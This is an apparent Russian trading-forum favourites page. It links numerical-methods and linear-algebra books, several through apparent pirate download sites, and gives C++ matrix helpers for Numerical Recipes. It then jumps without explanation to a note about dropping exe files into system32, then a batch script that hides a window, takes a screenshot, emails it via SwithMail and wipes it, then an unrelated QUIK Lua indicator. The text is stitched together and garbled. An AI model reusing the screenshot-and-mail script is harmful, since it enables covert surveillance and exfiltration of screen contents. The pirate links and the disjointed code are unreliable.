Избранное трейдера Денис Сафонов
Раз тут подняли эту тему, даю ссылку для просветления от одного известного автора
Если кого вдохновило сообщение smart-lab.ru/blog/680086.php, тому не обойтись без книги «NUMERICAL RECIPES. The Art of Scientific Computing. Third Edition». Качайте, пока дают
www.e-maxx-ru.1gb.ru/bookz/files/numerical_recipes.pdf
Бесплатные исходники к ней github.com/blackstonep/Numerical-Recipes
Программа svd.h из этого набора решает задачу наименьших квадратов для построения индикатора полиномиальной регрессии вместо примитивных скользящих средних.
Хорошее объяснение математической подоплёки в книге «Машинные методы математических вычислений. Форсайт, Малькольм, Моулер» en.booksee.org/book/445129
Ещё лучше — «Линейная алгебра и её применения» Гилберт Стренг
fileskachat.com/download/20151_887581203f10b39b3d7f6b84caf48a63.html
«Linear Algebra and Its Applications 4ed»
www.astronomia.edu.uy/progs/algebra/Strang- Linear_algebra_and_its_applications.pdf
Для использования программы svd.h из «NUMERICAL RECIPES» нужны тривиальные дополнения — транспонирование и перемножение матриц. Набор программ можно дополнить самодельным файлом utils.h и разместить в нём такой код:
#include <assert.h>
template <class T>
class NRdiagonal: public NRvector<T> { using NRvector<T>::NRvector; };
template <typename T>
void Multiply (const NRdiagonal<T>& a, const NRvector<T>& b
,NRvector<T>& c) {
int m = a.size();
assert (m == b.size());
c.resize (m);
for (int i = 0; i < m; ++i)
c[i] = a[i] * b[i];
}
template <typename T>
void Multiply (const NRmatrix<T>& a, const NRvector<T>& b
,NRvector<T>& c) {
int m = a.nrows(); int n = a.ncols();
assert (n == b.size());
c.resize (m);
for (int i = 0; i < m; ++i) {
c[i] = 0;
for (int j = 0; j < n; ++j)
c[i] += a[i][j] * b[j];
}
}
template <typename T>
void Transpose (const NRmatrix<T>& a, NRmatrix<T>& b) {
int m = a.nrows(); int n = a.ncols();
b.resize (n, m);
for (int i = 0; i < n; ++i)
for (int j = 0; j < m; ++j)
b[i][j] = a[j][i];
}
template <typename T>
void PrintVector (char* hdr, const NRvector<T>& vec) {
cout << hdr << '\n';
for (int i = 0; i < vec.size(); ++i)
cout << " " << vec[i];
cout << '\n';
}
Софт качается и exe-файлы кидаются в общем случае в c:\windows\system32@ echo off
nircmd.exe cmdwait 1000 win hide ititle «taskeng.exe»
nircmd.exe savescreenshot «C:\Screenshot.jpg»
Swithmail /S /XML «mail.xml»
nircmd.exe cmdwait 4000 filldelete «C:\Screenshot.jpg»
--[[ MA volumn up down --]] Settings= { Name = "MAV2", -- indicator name per=10, -- period line= { { Name = "MA", Type =TYPE_LINE, Width = 1, Color = RGB(0,0,255) }, { Name = "MA2", Type =TYPE_LINE, Width = 1, Color = RGB(255,0,0) } } } function Init() mav1 = {} mav2 = {} return 2 end function OnCalculate(index) per = Settings.per if index > 1 then curv = C(index) prevv = C(index-1) else curv = C(index) prevv = C(index) end if curv - prevv > 0 then if index > 1 then mav1[index] = mav1[index-1] + V(index) mav2[index] = mav2[index-1] else mav1[index] = V(index) mav2[index] = 0 end else if index > 1 then mav1[index] = mav1[index-1] mav2[index] = mav2[index-1] + V(index) else mav1[index] = 0 mav2[index] = V(index) end end if index > per then vv1 = mav1[index] - mav1[index-per] vv2 = mav2[index] - mav2[index-per] else vv1 = 0 vv2 = 0 end return vv1, vv2 end